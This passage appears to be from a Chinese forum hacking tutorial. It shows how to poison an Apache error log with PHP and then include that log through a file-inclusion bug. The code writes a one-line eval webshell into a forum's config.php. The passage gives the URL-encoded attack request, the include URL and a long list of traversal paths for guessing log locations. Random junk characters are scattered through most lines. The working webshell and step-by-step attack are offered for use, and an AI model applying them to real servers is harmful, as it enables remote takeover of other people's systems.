因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 + ?) d6 |6 Y! m
) b$ i. U( a0 h; o( P比如还是这句一句话木马
# j/ _# r- d0 O* D$ S4 S<?eval($_POST[cmd]);?> & h4 {& m6 B; v5 j0 j- R
* z3 n' `, } \5 C" m. h1 o& c
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, * n- x: z% I" d9 \# a
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 & N2 R9 H1 w% H. e: n& r
+ _5 Z/ d3 G2 F6 y) p% d+ m
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
1 t7 |: u0 |7 w* ?7 Jfclose($fp);?> //在config.php里写入一句木马语句 1 _8 V8 A$ |, s
8 o' t e8 C) m5 z/ y+ b我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
6 P! Q0 d; {# A9 \转换为 0 T/ s+ b- l2 m D3 \4 x: l. v
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 6 E" l, V# g, b8 E
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
8 r7 C& ?# P& m# @$ k3 X%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B % C. g t( G& P
fclose%28%24fp%29%3B%3F%3E 0 D) ~0 I2 e+ O7 H) l8 h
我们提交 1 G& V3 L1 h+ o+ Y7 V' h1 o
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
3 L4 |# F4 }7 s! |3 E4 t%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp * M) l8 R% m0 D8 b. o7 S' o1 b& v
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 0 ]& a( o( j* ~
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E % ^1 T+ n: \# V% D
: I; B* d% _# U/ D
这样就错误日志里就记录下了这行写入webshell的代码。
8 m. W+ K2 j3 d5 s2 d: t! G0 o我们再来包含日志,提交
4 H1 l, C7 C: Q/ Z' q' a0 Lhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 n) R$ u. L8 {. |" \) A* i- x. F0 ^3 b7 e/ h4 N
这样webshell就写入成功了,config.php里就写入一句木马语句
2 z9 W" h8 A7 J y7 r, `$ N# NOK. 2 \: `% L9 g: }+ c6 z) a: [0 q+ ^
http://www.xxx.com/forum/config.php这个就成了我们的webshell
% l$ X$ [& `$ G" `: c9 y1 D直接用lanker的客户端一连,主机就是你的了。
& h9 f" E+ U( J5 P& u; F& G8 j# k
! h# X4 f' o8 lPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 , d/ Q, D) |$ _/ i1 Y n
& N7 h [3 h& U4 o- [其他的日志路径,你可以去猜,也可以参照这里。 $ R7 k; D5 v9 u' \0 O
../../../../../../../../../../var/log/httpd/access_log 4 k3 x7 O8 b4 g* {3 {
../../../../../../../../../../var/log/httpd/error_log
, B. _. d+ ~0 I# k2 { X../apache/logs/error.log
" |! a: |. C: n c../apache/logs/access.log
9 F D" G6 C" ]- ?' p/ X6 C../../apache/logs/error.log
5 C1 K1 a7 L1 B' S; b../../apache/logs/access.log
* s4 P" @9 F( i9 u* c- M../../../apache/logs/error.log $ h! @6 c( C, D# ?+ b0 K4 D
../../../apache/logs/access.log & g. f) U% [4 j+ x6 R
../../../../../../../../../../etc/httpd/logs/acces_log
. l& o0 |8 A( ~../../../../../../../../../../etc/httpd/logs/acces.log - @) u* j. r+ R5 ]
../../../../../../../../../../etc/httpd/logs/error_log
$ q0 {& ~4 i8 a# u( j, b: I2 A../../../../../../../../../../etc/httpd/logs/error.log
6 ~4 ?4 U6 F8 K6 o9 }4 y, n8 D../../../../../../../../../../var/www/logs/access_log & e- {) ~1 l ?; _5 L O \3 m5 s: j& x
../../../../../../../../../../var/www/logs/access.log
0 j8 f0 U9 C x( e$ ]5 K0 o L../../../../../../../../../../usr/local/apache/logs/access_log
; @" L! k- J7 w# N$ O../../../../../../../../../../usr/local/apache/logs/access.log
1 t4 d9 o4 Y" r' W../../../../../../../../../../var/log/apache/access_log 3 v$ {: J. a. \2 L
../../../../../../../../../../var/log/apache/access.log
/ p4 E- ~9 q/ a M+ K../../../../../../../../../../var/log/access_log z& ~9 m5 z# }. \. U7 `" J2 j' @! j
../../../../../../../../../../var/www/logs/error_log
5 l. n& \& ?) s0 f, S' K../../../../../../../../../../var/www/logs/error.log
. p8 ~. g3 d$ L' z3 }. V; y( U../../../../../../../../../../usr/local/apache/logs/error_log
1 s) T. w/ }' g../../../../../../../../../../usr/local/apache/logs/error.log & f* N4 e \+ U9 ~2 A: B. g
../../../../../../../../../../var/log/apache/error_log , {# e0 \; U" E+ B2 a0 `
../../../../../../../../../../var/log/apache/error.log ' S Y) Z* K+ C$ k
../../../../../../../../../../var/log/access_log 8 o: m+ E/ U& m; D9 Z: B$ i
../../../../../../../../../../var/log/error_log 8 N7 ?3 C g# v# o' c, A( d
/var/log/httpd/access_log
9 c+ w0 P8 u) t3 o2 o/var/log/httpd/error_log 3 F6 L- i; C, [$ V4 J: w
../apache/logs/error.log . c [2 Y: p8 ^. f
../apache/logs/access.log ' v" \5 N Q7 z" X5 ~: Z
../../apache/logs/error.log
) e: Q' w, D' R7 s../../apache/logs/access.log ) D2 v5 ?7 ]9 T% g
../../../apache/logs/error.log
0 d! L6 t2 i9 z% N* x) I& W# d3 [../../../apache/logs/access.log
2 F% Y1 R J) C+ y" E; n/etc/httpd/logs/acces_log 7 |/ b8 K6 l9 O- J1 d
/etc/httpd/logs/acces.log
- k8 M1 ^4 Y# b/etc/httpd/logs/error_log 9 f; C" S. @ G) l
/etc/httpd/logs/error.log
1 M! [+ }$ o p- f, N5 d$ P/var/www/logs/access_log ' i W" ~+ p! a! s2 g( n
/var/www/logs/access.log
T' V% S/ [' V8 D; y q( g/usr/local/apache/logs/access_log 7 {8 \9 s- ^1 `) F/ j7 e
/usr/local/apache/logs/access.log
9 W2 r# J6 W$ ]! B: n/var/log/apache/access_log
8 A; X: z+ S# P; Y J, ]4 g1 {3 d/var/log/apache/access.log ) L0 S5 F- O9 r" M4 c+ c
/var/log/access_log * Q7 u$ C: l4 S ` _/ ^, Q# a/ D
/var/www/logs/error_log
0 [) h! h- `+ B: j& r/var/www/logs/error.log ! |) W3 Z* h# B1 Z3 ]9 ~2 w6 q. o L# M
/usr/local/apache/logs/error_log S+ q7 D9 U! @# m1 a( `
/usr/local/apache/logs/error.log
- U1 }4 M, F8 t- I: t; R V/var/log/apache/error_log ) ?# k. D! _, i; H& M( B3 _8 T2 ~7 R6 J
/var/log/apache/error.log
- X! e" {7 j D+ l# ^; d* n/var/log/access_log
G8 G/ R* [2 z$ C6 G# R/var/log/error_log |